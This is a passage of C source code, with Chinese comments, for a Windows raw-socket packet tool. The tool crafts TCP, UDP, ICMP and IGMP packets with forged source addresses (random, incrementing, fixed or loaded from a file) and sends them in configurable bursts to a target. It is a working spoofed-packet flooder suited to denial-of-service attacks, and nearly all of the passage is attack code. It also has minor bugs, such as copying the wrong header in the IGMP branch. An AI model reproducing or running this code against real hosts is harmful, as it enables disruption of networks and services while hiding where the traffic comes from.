USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;
//定义IGMP首部
typedef struct _igmphdr{
UCHAR i_code; //8位代码
UCHAR i_type; //8位类型
USHORT i_nv; //没用
USHORT i_cksum; //16位校验和
ULONG i_addr; //32位组地址
}IGMP_HEADER;
//////////////////////////////////////////////////////////////
//若干的报文首部结构变量
//////////////////////////////////////////////////////////////
IP_HEADER ip_header = {0}; //ip首部结构
PSD_HEADER psd_header = {0}; //伪首部结构
TCP_HEADER tcp_header = {0}; //tcp首部结构
UDP_HEADER udp_header = {0}; //udp首部结构
ICMP_HEADER icmp_header = {0}; //icmp首部结构
IGMP_HEADER igmp_header = {0}; //igmp首部结构
//////////////////////////////////////////////////////////////
//若干的全局变量
//////////////////////////////////////////////////////////////
//有关临时堆变量的指针
ULONG *Ip_Buff = NULL; //IP缓冲区
USHORT *Port_Buff = NULL; //端口缓冲区
USHORT *Ip_Chk_Buff = NULL; //IP首部效验和缓冲区
USHORT *Other_Chk_Buff = NULL; //其他首部效验和缓冲区
//发送有关的参数
char Dest_Ip[MAX_HOSTNAME_LAN] = {0}; //目的ip
short Send_Data_Type = 2; //发送类型
ULONG Send_Degree = 10; //发送次数
ULONG Send_Sdeg = 1; //同一报文发送次数
USHORT Delay_Time = 0; //延时时间
SOCKET SockRaw = 0; //socket句柄
struct sockaddr_in DestAddr = {0}; //socket地址结构
char Send_Dest_Data[MAX_BUFF_LEN] = {0}; //发送的报文信息
char Send_Data_File[MAX_PATH] = {0}; //数据文件路径
int Send_Data_Size = 0; //发送信息大小
//各个报文的可变参数变量
UCHAR IP_TOSE = 0; //IP服务类型
USHORT IP_IDENT = 0; //IP16位标识
USHORT IP_FLAG = 0; //IP标志
UCHAR IP_TTLE = 128; //IP ttl值
USHORT TCP_WINS = 16384; //TCP窗口值
UCHAR TCP_FLAG = 2; //TCP标志
ULONG TCP_SEQ = 1; //32位序列号
ULONG TCP_ACK = 0; //32位确认号
USHORT TCP_URP = 0; //TCP紧急数据偏移
USHORT ICMP_TYPE = 8; //ICMP类型值
USHORT ICMP_CODE = 0; //ICMP代码值
USHORT ICMP_ID = 2; //ICMP识别号值
USHORT ICMP_SEQ = 1; //ICMP序号值
ULONG ICMP_TIME = 1; //ICMP时间戳值
USHORT IGMP_CODE = 1; //IGMP版本值
USHORT IGMP_TYPE = 1; //IGMP类型值
ULONG IGMP_ADDR = 100; //IGMP32位组地址
//伪造有关的变量
ULONG Ip_Forge_Deg = 100; //伪造个数
short Forge_Type = 1; //伪造模式
char Forge_Ip_File[MAX_PATH] = {0}; //伪造ip文件路径
char Forge_Ip[MAX_HOSTNAME_LAN] = {0}; //伪造IP
USHORT Forge_Port = DEF_PORT_DA; //伪造的端口
//和程序有关的临时变量
USHORT PORTT = 0; //临时变量,记录目的IP的端口
ULONG IPTL = 0; //临时变量,记录目的ip
int ErrorCode = 0; //错误返回寄存变量
//////////////////////////////////////////////////////////////
//若干函数的声名
//////////////////////////////////////////////////////////////
void Usage();
USHORT checksum(USHORT *buffer, int size);
int SetInitializeValue(int argc, char *argv[]);
int SetInitializeSock();
int GetIpAndPortByLine(char *IPL);
int MakeForgeData();
int AccCheckSum();
//重载函数
int AssMemory(ULONG **a, ULONG sa, USHORT **b, ULONG sb);
int AssMemory(USHORT **a, ULONG sa, USHORT **b, ULONG sb);
//////////////////////////////////////////////////////////////
//主函数
//////////////////////////////////////////////////////////////
int main(int argc, char *argv[]){
//参数少于2个,退出
if (argc < 2){
Usage();
return 0;
}
fprintf(stderr, "1.开始分析命令行,获得参数,稍等...\n");
//分析命令行,赋初始化值.
if(!SetInitializeValue(argc, argv))
return 0;
fprintf(stderr, "2.正在初始化网络,稍等...\n");
//初始化连接函数
if(!SetInitializeSock())
return 0;
fprintf(stderr, "3.正在构造伪造数据包,稍等...\n");
//构造伪造数据
if(!MakeForgeData())
return 0;
fprintf(stderr, "4.正在计算效验和,稍等...\n");
//计算效验和
if(!AccCheckSum())
return 0;
//下面开始发送信息
//填充地址结构
memset(&DestAddr, 0, sizeof(DestAddr));
DestAddr.sin_family = AF_INET; //internet网络
DestAddr.sin_port = htons(PORTT);
DestAddr.sin_addr.s_addr = htonl(IPTL); //目的IP
//开始循环发送消息,因为效验和已经计算好,这里就是一些指针和内存的操作
char Sendto_Buff[MAX_BUFF_LEN];
ULONG i = 0, j, HL = 0, SZE = sizeof(DestAddr);
for(j = 0; j < Send_Degree; j++, i++){
//循环使用ip段
if(i >= Ip_Forge_Deg)
i = 0;
//发送缓冲区清空,可要可不要
memset(Sendto_Buff, 0, MAX_BUFF_LEN);
//填充可变参数
ip_header.sourceIP = htonl(Ip_Buff[i]);
ip_header.ident = htons((USHORT)((i + IP_IDENT) % MAX_SHORT) + 1);
ip_header.checksum = Ip_Chk_Buff[i];
//填充发送缓冲区
memcpy(Sendto_Buff, &ip_header, sizeof(IP_HEADER));
//判断是什么类型报文,发送
switch(Send_Data_Type){
case 1:
//填充tcp伪首部和tcp首部
psd_header.saddr = ip_header.sourceIP;
tcp_header.th_seq = htonl((TCP_SEQ + i) % MAX_SHORT);;
tcp_header.th_sport = htons(Port_Buff[i]);
//填充效验和,已经计算的
tcp_header.th_sum = Other_Chk_Buff[i];
//填充缓冲区
memcpy(Sendto_Buff + sizeof(IP_HEADER), &tcp_header, sizeof(TCP_HEADER));
memcpy(Sendto_Buff + sizeof(IP_HEADER) + sizeof(TCP_HEADER),
Send_Dest_Data, Send_Data_Size);
//计算报文长度
HL = sizeof(IP_HEADER) + sizeof(TCP_HEADER) + Send_Data_Size;
break;
case 2:
psd_header.saddr = ip_header.sourceIP;
udp_header.uh_sport = htons(Port_Buff[i]);
udp_header.uh_sum = Other_Chk_Buff[i];
memcpy(Sendto_Buff + sizeof(IP_HEADER), &udp_header, sizeof(UDP_HEADER));
memcpy(Sendto_Buff + sizeof(IP_HEADER) + sizeof(UDP_HEADER),
Send_Dest_Data, Send_Data_Size);
HL = sizeof(IP_HEADER) + sizeof(UDP_HEADER) + Send_Data_Size;
break;
case 3:
icmp_header.i_seq = htons((USHORT)((ICMP_SEQ + i) % MAX_SHORT));
icmp_header.timestamp = htonl((ICMP_TIME + i) % MAX_SHORT);
icmp_header.i_cksum = Other_Chk_Buff[i];
memcpy(Sendto_Buff + sizeof(IP_HEADER), &icmp_header, sizeof(ICMP_HEADER));
memcpy(Sendto_Buff + sizeof(IP_HEADER) + sizeof(ICMP_HEADER),
Send_Dest_Data, Send_Data_Size);
HL = sizeof(IP_HEADER) + sizeof(ICMP_HEADER) + Send_Data_Size;
break;
case 4:
igmp_header.i_cksum = Other_Chk_Buff[i];
memcpy(Sendto_Buff + sizeof(IP_HEADER), &icmp_header, sizeof(IGMP_HEADER));
memcpy(Sendto_Buff + sizeof(IP_HEADER) + sizeof(IGMP_HEADER),
Send_Dest_Data, Send_Data_Size);
HL = sizeof(IP_HEADER) + sizeof(IGMP_HEADER) + Send_Data_Size;
break;
}//End of switch
//发送
for(ULONG SN = 0; SN < Send_Sdeg; SN++){
ErrorCode = sendto(SockRaw,
Sendto_Buff,
HL,
0,
(struct sockaddr*) &DestAddr,
SZE);
}//End of for
//打印提示符
fprintf(stderr, ".");
//如果出错,打印出错信息,并暂停
if (ErrorCode == SOCKET_ERROR){
fprintf(stderr, "\n数据发送错误,错误代码:%d\n"
"Ctrl+C退出,任意键继续发送...\n",GetLastError());
system("PAUSE");
}
//延迟一定时间
Sleep(Delay_Time);
}//End of for
//释放一些内存
if(Ip_Buff) free(Ip_Buff);
if(Port_Buff) free(Port_Buff);
if(Ip_Chk_Buff) free(Ip_Chk_Buff);
if(Other_Chk_Buff) free(Other_Chk_Buff);
//关闭句柄
closesocket(SockRaw);
WSACleanup();
return 1;
}
//////////////////////////////////////////////////////////////
//计算效验和
//填充报文必须注意网络字节和主机字节的切换
//////////////////////////////////////////////////////////////
int AccCheckSum(){
//计算缓冲区
char MakeSumBuff[MAX_BUFF_LEN];
//分析目的IP流
if(!GetIpAndPortByLine(Dest_Ip))
return 0;
//开始设置IP首部的变量
ip_header.h_verlen = (IPVER << 4 | sizeof(ip_header) / sizeof(unsigned long)); //版本号
ip_header.tos = (UCHAR)IP_TOSE; //服务类型
//这里还差加一个具体的报文字段的长度
ip_header.total_len = sizeof(IP_HEADER) + Send_Data_Size; //16位总长度（字节）
//下面这个表示每发送一次加1,需要更改
ip_header.ident = 0; //16位标识
ip_header.frag_and_flags = IP_FLAG; //3位标志位
ip_header.ttl = (UCHAR)IP_TTLE; //8位生存时间TTL
//协议类型需要更改
ip_header.proto = 0; //协议类型
//效验和需要更改
ip_header.checksum = 0; //效验和
//源地址需要更改
ip_header.sourceIP = 0; //32位源IP地址
//这里改变了字节顺序
ip_header.destIP = htonl(IPTL); //32位目的IP地址
if(!AssMemory(&Ip_Chk_Buff, Ip_Forge_Deg, &Other_Chk_Buff, Ip_Forge_Deg))
return 0;
ULONG i;
switch(Send_Data_Type){
case 1://tcp包
//协议设置为TCP
ip_header.proto = IPPROTO_TCP;
//加上TCP结构,赋值给IP头部
ip_header.total_len = htons(ip_header.total_len + sizeof(TCP_HEADER));
//源地址需要更改
psd_header.saddr = 0; //源地址
psd_header.daddr = ip_header.destIP; //目的地址
psd_header.mbz = 0;
psd_header.ptcl = ip_header.proto; //直接取上面的协议
psd_header.tcpl = htons(sizeof(TCP_HEADER) + Send_Data_Size);
//填充TCP首部
//源端口号需要更改
tcp_header.th_sport = 0; //源端口号
tcp_header.th_dport = htons(PORTT); //目的端口号
//syn序列号要改的
tcp_header.th_seq = 0; //SYN序列号
tcp_header.th_ack = htonl(TCP_ACK); //ACK序列号置为0
tcp_header.th_lenres = (sizeof(TCP_HEADER) /sizeof(unsigned long) << 4 | 0); //TCP长度和保留位
tcp_header.th_flag = (UCHAR)TCP_FLAG; //SYN 标志
tcp_header.th_win = htons(TCP_WINS); //窗口大小
tcp_header.th_urp = htons(TCP_URP); //偏移
//效验和需要更改
tcp_header.th_sum = 0; //校验和
//循环计算Ip_Forge_Deg个效验和出来
for(i = 0; i < Ip_Forge_Deg; i++){
//填充一些每次都改变的变量,比如源IP,源端口,seq等等.
ip_header.sourceIP = htonl(Ip_Buff[i]);
ip_header.ident = htons((USHORT)((i + IP_IDENT) % MAX_SHORT) + 1);
psd_header.saddr = ip_header.sourceIP;
tcp_header.th_sport = htons(Port_Buff[i]);
tcp_header.th_seq = htonl((TCP_SEQ + i) % MAX_SHORT);
//吧tcp伪首部和tcp首部先送入计算出tcp首部效验和
memset(MakeSumBuff, 0, MAX_BUFF_LEN);
memcpy(MakeSumBuff, &psd_header, sizeof(PSD_HEADER));
memcpy(MakeSumBuff + sizeof(PSD_HEADER), &tcp_header, sizeof(TCP_HEADER));
memcpy(MakeSumBuff + sizeof(PSD_HEADER) + sizeof(TCP_HEADER),
Send_Dest_Data, Send_Data_Size);
Other_Chk_Buff[i] = checksum((USHORT *)MakeSumBuff,
sizeof(PSD_HEADER) + sizeof(TCP_HEADER) + Send_Data_Size);
//然后结合IP首部,计算出IP首部效验和
memset(MakeSumBuff, 0, MAX_BUFF_LEN);
memcpy(MakeSumBuff, &ip_header, sizeof(IP_HEADER));
memcpy(MakeSumBuff + sizeof(IP_HEADER), &tcp_header, sizeof(TCP_HEADER));
memcpy(MakeSumBuff + sizeof(IP_HEADER) + sizeof(TCP_HEADER),
Send_Dest_Data, Send_Data_Size);
Ip_Chk_Buff[i] = checksum((USHORT *)MakeSumBuff,
sizeof(IP_HEADER) + sizeof(TCP_HEADER) + Send_Data_Size);
}//End of for
break;
case 2://udp包
ip_header.proto = IPPROTO_UDP;
ip_header.total_len = htons(ip_header.total_len + sizeof(UDP_HEADER));
psd_header.saddr = 0;
psd_header.daddr = ip_header.destIP;
psd_header.mbz = 0;
psd_header.ptcl = ip_header.proto;
psd_header.tcpl = htons(sizeof(UDP_HEADER) + Send_Data_Size);
udp_header.uh_sport = 0;
udp_header.uh_dport = htons(PORTT);
udp_header.uh_len = htons(sizeof(UDP_HEADER) + Send_Data_Size);
udp_header.uh_sum = 0;
for(i = 0; i < Ip_Forge_Deg; i++){
ip_header.sourceIP = htonl(Ip_Buff[i]);
ip_header.ident = htons((USHORT)((i + IP_IDENT) % MAX_SHORT) + 1);
psd_header.saddr = ip_header.sourceIP;
udp_header.uh_sport = htons(Port_Buff[i]);
memset(MakeSumBuff, 0, MAX_BUFF_LEN);
memcpy(MakeSumBuff, &psd_header, sizeof(PSD_HEADER));
memcpy(MakeSumBuff + sizeof(PSD_HEADER), &udp_header, sizeof(UDP_HEADER));
memcpy(MakeSumBuff + sizeof(PSD_HEADER) + sizeof(UDP_HEADER),
Send_Dest_Data, Send_Data_Size);
Other_Chk_Buff[i] = checksum((USHORT *)MakeSumBuff,
sizeof(PSD_HEADER) + sizeof(UDP_HEADER) + Send_Data_Size);
memset(MakeSumBuff, 0, MAX_BUFF_LEN);
memcpy(MakeSumBuff, &ip_header, sizeof(IP_HEADER));
memcpy(MakeSumBuff + sizeof(IP_HEADER), &udp_header, sizeof(UDP_HEADER));
memcpy(MakeSumBuff + sizeof(IP_HEADER) + sizeof(UDP_HEADER),
Send_Dest_Data, Send_Data_Size);
Ip_Chk_Buff[i] = checksum((USHORT *)MakeSumBuff,
sizeof(IP_HEADER) + sizeof(UDP_HEADER) + Send_Data_Size);
}//End of for
break;
case 3://icmp包
ip_header.proto = IPPROTO_ICMP;
ip_header.total_len = htons(ip_header.total_len + sizeof(ICMP_HEADER));
icmp_header.i_type = (UCHAR)ICMP_TYPE;
icmp_header.i_code = (UCHAR)ICMP_CODE;
icmp_header.i_cksum = 0;
icmp_header.i_id = htons(ICMP_ID);
icmp_header.i_seq = 0;
icmp_header.timestamp = 0;
for(i = 0; i < Ip_Forge_Deg; i++){
ip_header.sourceIP = htonl(Ip_Buff[i]);
ip_header.ident = htons((USHORT)((i + IP_IDENT) % MAX_SHORT) + 1);
icmp_header.i_seq = htons((USHORT)((ICMP_SEQ + i) % MAX_SHORT));
icmp_header.timestamp = htonl((ICMP_TIME + i) % MAX_SHORT);
memcpy(MakeSumBuff, &icmp_header, sizeof(ICMP_HEADER));
memcpy(MakeSumBuff + sizeof(icmp_header),
Send_Dest_Data, Send_Data_Size);
Other_Chk_Buff[i] = checksum((USHORT *)MakeSumBuff,
sizeof(ICMP_HEADER) + Send_Data_Size);
memcpy(MakeSumBuff, &ip_header, sizeof(IP_HEADER));
memcpy(MakeSumBuff + sizeof(IP_HEADER), &icmp_header, sizeof(ICMP_HEADER));
memcpy(MakeSumBuff + sizeof(IP_HEADER) + sizeof(ICMP_HEADER),
Send_Dest_Data, Send_Data_Size);
Ip_Chk_Buff[i] = checksum((USHORT *)MakeSumBuff,
sizeof(IP_HEADER) + sizeof(ICMP_HEADER) + Send_Data_Size);
}
break;
case 4://igmp包
ip_header.proto = IPPROTO_IGMP;
ip_header.total_len = htons(ip_header.total_len + sizeof(IGMP_HEADER));
igmp_header.i_code = (UCHAR)IGMP_CODE;
igmp_header.i_type = (UCHAR)IGMP_TYPE;
igmp_header.i_addr = htonl(IGMP_ADDR);
igmp_header.i_nv = 0;
for(i = 0; i < Ip_Forge_Deg; i++){
ip_header.sourceIP = htonl(Ip_Buff[i]);
ip_header.ident = htons((USHORT)((i + IP_IDENT) % MAX_SHORT) + 1);
memcpy(MakeSumBuff, &igmp_header, sizeof(IGMP_HEADER));
memcpy(MakeSumBuff + sizeof(igmp_header),
Send_Dest_Data, Send_Data_Size);
Other_Chk_Buff[i] = checksum((USHORT *)MakeSumBuff,
sizeof(IGMP_HEADER) + Send_Data_Size);
memcpy(MakeSumBuff, &ip_header, sizeof(IP_HEADER));
memcpy(MakeSumBuff + sizeof(IP_HEADER), &igmp_header, sizeof(IGMP_HEADER));
memcpy(MakeSumBuff + sizeof(IP_HEADER) + sizeof(IGMP_HEADER),
Send_Dest_Data, Send_Data_Size);
Ip_Chk_Buff[i] = checksum((USHORT *)MakeSumBuff,
sizeof(IP_HEADER) + sizeof(IGMP_HEADER) + Send_Data_Size);
}
break;
default:
fprintf(stderr, "Unknow Data Type\n");
return 0;
}//End of switch
return 1;
}
//////////////////////////////////////////////////////////////
//构造伪造数据
//////////////////////////////////////////////////////////////
int MakeForgeData(){
//填充伪造IP
switch(Forge_Type){
case 1://本机型
//获得主机名
char name[MAX_HOSTNAME_LAN];
memset(name, 0, MAX_HOSTNAME_LAN);
if(SOCKET_ERROR == gethostname(name, MAX_HOSTNAME_LAN)){
fprintf(stderr, "gethostname 函数失败,错误代码: %d\n",WSAGetLastError());
return 0;
}
//通过主机名获得IP
struct hostent * pHostent;
pHostent = NULL;
pHostent = gethostbyname(name);
if(pHostent == NULL){
fprintf(stderr, "gethostbyname 函数失败,错误代码: %d\n",WSAGetLastError());
return 0;
}
//获得本机IP,注意,这里是主机字节顺序,pHost指向的是网络字节顺序
//要累加必须先转化为主机字节,然后进行+1等操作,最后再转到网络字节
//当然这里可以不需要,不过为了兼容后面的操作,还是转换了.
IPTL = ntohl((ULONG)(*(struct in_addr*)pHostent->h_addr).s_addr);
//伪造个数设置为1
//同样,为了代码看起来比较清楚
Ip_Forge_Deg = 1;
//申请缓冲区,这里只有1个
//后面不要忘记释放了
//另外,这两个的值是不同类型的,注意
if(!AssMemory(&Ip_Buff, Ip_Forge_Deg, &Port_Buff, Ip_Forge_Deg))
return 0;
//填充缓冲区
PORTT = Forge_Port;
Port_Buff[0] = PORTT;
Ip_Buff[0] = IPTL;
break;
case 2://指定ip型
//拆分参数里面的命令行
//值得注意的是,这里返回的IPTL的值就是主机字节了,不需要再做转换
if(!GetIpAndPortByLine(Forge_Ip))
return 0;
Ip_Forge_Deg = 1;
if(!AssMemory(&Ip_Buff, Ip_Forge_Deg, &Port_Buff, Ip_Forge_Deg))
return 0;
Port_Buff[0] = PORTT;
Ip_Buff[0] = IPTL;
break;
case 3://指定ip递增型
if(!GetIpAndPortByLine(Forge_Ip))
return 0;
//申请缓冲区,这里只有N个,从初始IP开始递增
//具体的数量根据伪造个数那里设置到
if(!AssMemory(&Ip_Buff, Ip_Forge_Deg, &Port_Buff, Ip_Forge_Deg))
return 0;
//全部赋值
//这里赋值也全部都是主机字节,到后面统一转换
ULONG i;
for(i = 0; i < Ip_Forge_Deg; i++){
Ip_Buff[i] = IPTL;
Port_Buff[i] = PORTT;
IPTL ++;
PORTT ++;
if(PORTT >= MAX_PORT)
PORTT = 1;
}//End of for
break;
case 4://指定文件型
//打开该ip文件
FILE *IpFp;
IpFp = NULL;
IpFp = fopen(Forge_Ip_File, "r");
if(IpFp == NULL){
fprintf(stderr, "打开文件\"%s\"出错,出错代码:%d\n", Forge_Ip_File, GetLastError());
return 0;
}
ULONG numread;
Ip_Forge_Deg = 0;
//获取文件中IP的个数
while(1){
memset(Send_Dest_Data, 0, MAX_BUFF_LEN);
numread = fread(Send_Dest_Data, sizeof(char), MAX_BUFF_LEN, IpFp);
if(numread <= 0)
break;
ULONG i;
for(i = 0; i < numread; i++)
if(Send_Dest_Data[i] == '\n')
Ip_Forge_Deg ++;
}//End of while
//出错关闭句柄,返回
//注意关闭句柄
if(Ip_Forge_Deg <= 0){
fprintf(stderr, "获取文件中IP个数出错.\n");
fclose(IpFp);
return 0;
}
//根据个数申请变量
if(!AssMemory(&Ip_Buff, Ip_Forge_Deg, &Port_Buff, Ip_Forge_Deg)){
fclose(IpFp);
return 0;
}
//定位到文件开头
fseek(IpFp, 0, SEEK_SET);
char IPtemp[MAX_HOSTNAME_LAN];
//开始取每一个IP
for(i = 0; i < Ip_Forge_Deg; i++){
//清空缓冲区
memset(IPtemp, 0, MAX_HOSTNAME_LAN);
//获得IP,就是获取一行的信息
fgets(IPtemp, MAX_HOSTNAME_LAN, IpFp);
//fgets会取得末尾的\n,去掉最后的\n
IPtemp[strlen(IPtemp) - 1] = 0;
//分析IP,出错赋默认值
if(!GetIpAndPortByLine(IPtemp)){
//如果出错,就赋值默认的值
Ip_Buff[i] = DEF_FORGE_IP;
Port_Buff[i] = DEF_FORGE_PORT;
}else{//End of if
//赋值给每一个缓冲区
Ip_Buff[i] = IPTL;
Port_Buff[i] = PORTT;
}//End of else
}//End of for
//关闭文件句柄
fclose(IpFp);
break;
case 5://随机型
//申请缓冲区,这里有N个
if(!AssMemory(&Ip_Buff, Ip_Forge_Deg, &Port_Buff, Ip_Forge_Deg))
return 0;
//设置随机种子
srand((unsigned)time(NULL));
char IP[20];
//填充随机IP和端口
for(i = 0; i < Ip_Forge_Deg; i++){
memset(IP, 0, 20);
sprintf(IP, "%d.%d.%d.%d", ((rand() % 255) + 1),
(rand() % 256), (rand() % 256), (rand() % 256));
//转换后存入缓冲区
Ip_Buff[i] = inet_addr(IP);
Port_Buff[i] = ((rand() % MAX_PORT) + 1);
}//End of For
break;
default:
fprintf(stderr, "未知的伪造类型\n");
return 0;
}//End of switch
//定义一个宏
#define MAX_READ_FILE_BUFF 1024
//如果指定了一个信息的文件,则开始取信息
if(Send_Data_File == ""){
FILE *SdFp = NULL;
//打开文件
SdFp = fopen(Send_Data_File, "r");
if(SdFp == NULL){
fprintf(stderr, "打开文件\":%s\"出错,出错代码:%d\n", Send_Data_File, GetLastError());
return 0;
}
memset(Send_Dest_Data, 0, MAX_BUFF_LEN);
char tempbuff[MAX_READ_FILE_BUFF];
int tempread;
int ReadSendDataNum = 0;
while(1){
//读取文件,如果文件结束,则退出
//如果文件内容超过最大缓冲区,则退出
memset(tempbuff, 0, MAX_READ_FILE_BUFF);
tempread = fread(tempbuff, sizeof(char), MAX_READ_FILE_BUFF, SdFp);
if(tempread <= 0 || ReadSendDataNum == MAX_BUFF_LEN)
break;
if(ReadSendDataNum + tempread > MAX_BUFF_LEN)
tempread = MAX_BUFF_LEN - ReadSendDataNum;
memcpy(Send_Dest_Data + ReadSendDataNum, tempbuff, tempread);
ReadSendDataNum += tempread;
}//End of while
fclose(SdFp);
//如果尚未指定发送信息的大小,则采用实际读取的数据大小
if(Send_Data_Size == 0)
Send_Data_Size = ReadSendDataNum;
//需要对齐数据
if(Send_Data_Size % 32 != 0)
Send_Data_Size += (32 - (Send_Data_Size % 32));
}//End of if
return 1;
}
//////////////////////////////////////////////////////////////
//赋初始化值函数
//////////////////////////////////////////////////////////////
int SetInitializeValue(int argc, char *argv[]){
int temp;
//分析命令行,赋初值.
for (int i = 1; i < argc; i++) {
if (argv[i][0] == '/' || argv[i][0] == '-' || argv[i][0] == '\\') {
//开始分析每个参数
switch (argv[i][1]) {
case '?':
case 'H':
case 'h':
Usage();
break;
case 't'://tcp数据包
//send_data_type的值1为tcp,2为udp,3为icmp,4为igmp
Send_Data_Type = 1;
//预取参数长度
temp = strlen(&argv[i][3]);
//检查ip参数长度
if(temp <= 0 || temp > MAX_HOSTNAME_LAN) {
fprintf(stderr, "目的长度出错:%s\n", argv[i]);
return 0;
}
//接受ip参数
strcpy(Dest_Ip, &argv[i][3]);
break;
case 'u'://udp数据包
Send_Data_Type = 2;
//预取参数长度
temp = strlen(&argv[i][3]);
if(temp <= 0 || temp > MAX_HOSTNAME_LAN) {
fprintf(stderr, "目的长度出错:%s\n", argv[i]);
return 0;
}
strcpy(Dest_Ip, &argv[i][3]);
break;
case 'c'://icmp数据包
Send_Data_Type = 3;
//预取参数长度
temp = strlen(&argv[i][3]);
if(temp <= 0 || temp > MAX_HOSTNAME_LAN) {
fprintf(stderr, "目的长度出错:%s\n", argv[i]);
return 0;
}
strcpy(Dest_Ip, &argv[i][3]);
break;
case 'g'://igmp数据包
Send_Data_Type = 4;
//预取参数长度
temp = strlen(&argv[i][3]);
if(temp <= 0 || temp > MAX_HOSTNAME_LAN) {
fprintf(stderr, "目的长度出错:%s\n", argv[i]);
return 0;
}
strcpy(Dest_Ip, &argv[i][3]);
break;
case 'n'://发送次数
Send_Degree = atol(&argv[i][3]);
if(Send_Degree <= 0){
fprintf(stderr, "发送次数参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'x'://每个报文发送次数
Send_Sdeg = atol(&argv[i][3]);
if(Send_Sdeg <= 0){
fprintf(stderr, "每个报文发送次数参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'm'://延迟时间
Delay_Time = atoi(&argv[i][3]);
if(Delay_Time <= 0 || Delay_Time >= MAX_PORT) {
fprintf(stderr, "延迟参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'd'://发送的信息
//预取参数长度
temp = strlen(&argv[i][3]);
if(temp <= 0 || temp > MAX_BUFF_LEN) {
fprintf(stderr, "目的长度出错:%s\n", argv[i]);
return 0;
}
memset(Send_Dest_Data, 0, MAX_BUFF_LEN);
strcpy(Send_Dest_Data, &argv[i][3]);
//获得附加数据的大小
Send_Data_Size = temp;
break;
case 'F'://发送信息由文件指定
//预取参数长度
temp = strlen(&argv[i][3]);
if(temp <= 0 || temp > MAX_PATH) {
fprintf(stderr, "文件长度超出:%s\n", argv[i]);
return 0;
}
memset(Send_Data_File, 0, MAX_PATH);
strcpy(Send_Data_File, &argv[i][3]);
break;
case 'S'://发送信息最大长度
Send_Data_Size = atoi(&argv[i][3]);
if(Send_Data_Size <= 0 || Send_Data_Size >= MAX_BUFF_LEN) {
fprintf(stderr, "信息最大长度:%s\n", argv[i]);
return 0;
}
break;
//IP报文参数设置
case 'I':
switch(argv[i][2]) {
case 'S':
IP_TOSE = (UCHAR)atoi(&argv[i][4]);
if(IP_TOSE <= 0 || IP_TOSE >= MAX_CHAR) {
fprintf(stderr, "IP TOS参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'I':
IP_IDENT = atoi(&argv[i][4]);
if(IP_IDENT <= 0 || IP_IDENT >= MAX_SHORT) {
fprintf(stderr, "IP IDENT参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'F':
IP_FLAG = atoi(&argv[i][4]);
if(IP_FLAG <= 0 || IP_FLAG >= MAX_SHORT) {
fprintf(stderr, "IP FLAG参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'T':
IP_TTLE = (UCHAR)atoi(&argv[i][4]);
if(IP_TTLE <= 0 || IP_TTLE >= MAX_CHAR) {
fprintf(stderr, "IP TTL参数出错:%s\n", argv[i]);
return 0;
}
break;
}//End of switch
break;
case 'T':
switch(argv[i][2]) {
case 'W':
TCP_WINS = atoi(&argv[i][4]);
if(TCP_WINS <= 0 || TCP_WINS >= MAX_SHORT) {
fprintf(stderr, "TCP WINS参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'F':
TCP_FLAG = atoi(&argv[i][4]);
if(TCP_FLAG <= 0 || TCP_FLAG >= MAX_CHAR) {
fprintf(stderr, "TCP FLAG参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'S':
TCP_SEQ = atol(&argv[i][4]);
if(TCP_SEQ <= 0 || TCP_SEQ >= MAX_LONG) {
fprintf(stderr, "TCP SEQ参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'A':
TCP_ACK = atol(&argv[i][4]);
if(TCP_ACK <= 0 || TCP_ACK >= MAX_LONG) {
fprintf(stderr, "TCP ACK参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'U':
TCP_URP = atoi(&argv[i][4]);
if(TCP_URP <= 0 || TCP_URP >= MAX_SHORT) {
fprintf(stderr, "TCP URP参数出错:%s\n", argv[i]);
return 0;
}
break;
}//End of switch
break;
case 'C':
switch(argv[i][2]) {
case 'T':
ICMP_TYPE = atoi(&argv[i][4]);
if(ICMP_TYPE <= 0 || ICMP_TYPE >= MAX_SHORT) {
fprintf(stderr, "ICMP TYPE参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'C':
ICMP_CODE = atoi(&argv[i][4]);
if(ICMP_CODE <= 0 || ICMP_CODE >= MAX_SHORT) {
fprintf(stderr, "ICMP CODE参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'I':
ICMP_ID = atoi(&argv[i][4]);
if(ICMP_ID <= 0 || ICMP_ID >= MAX_SHORT) {
fprintf(stderr, "ICMP ID参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'S':
ICMP_SEQ = atoi(&argv[i][4]);
if(ICMP_SEQ <= 0 || ICMP_SEQ >= MAX_SHORT) {
fprintf(stderr, "ICMP SEQ参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'M':
ICMP_TIME = atol(&argv[i][4]);
if(ICMP_TIME <= 0 || ICMP_TIME >= MAX_LONG) {
fprintf(stderr, "ICMP TIM参数出错:%s\n", argv[i]);
return 0;
}
break;
}//End of switch
break;
case 'G':
switch(argv[i][2]) {
case 'C':
IGMP_CODE = atoi(&argv[i][4]);
if(IGMP_CODE <= 0 || IGMP_CODE >= MAX_SHORT) {
fprintf(stderr, "IGMP CODE参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'T':
IGMP_TYPE = atoi(&argv[i][4]);
if(IGMP_TYPE <= 0 || IGMP_TYPE >= MAX_SHORT) {
fprintf(stderr, "IGMP TYPEE参数出错:%s\n", argv[i]);
return 0;
}
break;
case 'A':
IGMP_ADDR = atol(&argv[i][4]);
if(IGMP_ADDR <= 0 || IGMP_ADDR >= MAX_LONG) {
fprintf(stderr, "ICMP ID参数出错:%s\n", argv[i]);
return 0;
}
break;
}//End of switch
break;
case 'l'://伪造个数设置
Ip_Forge_Deg = atoi(&argv[i][3]);
if(Ip_Forge_Deg <= 0) {
fprintf(stderr, "伪造个数出错:%s\n", argv[i]);
return 0;
}
break;
case 'f'://伪造模式
switch(argv[i][2]) {
case '1'://模式1,本机IP,需要指定一个端口数据
Forge_Type = 1;
Forge_Port = atoi(&argv[i][4]);
if(Forge_Port <= 0 || Forge_Port >= MAX_PORT) {
Forge_Port = DEF_PORT_DA;
}
break;
case '2'://模式2,固定IP设置,必须指定IP和端口
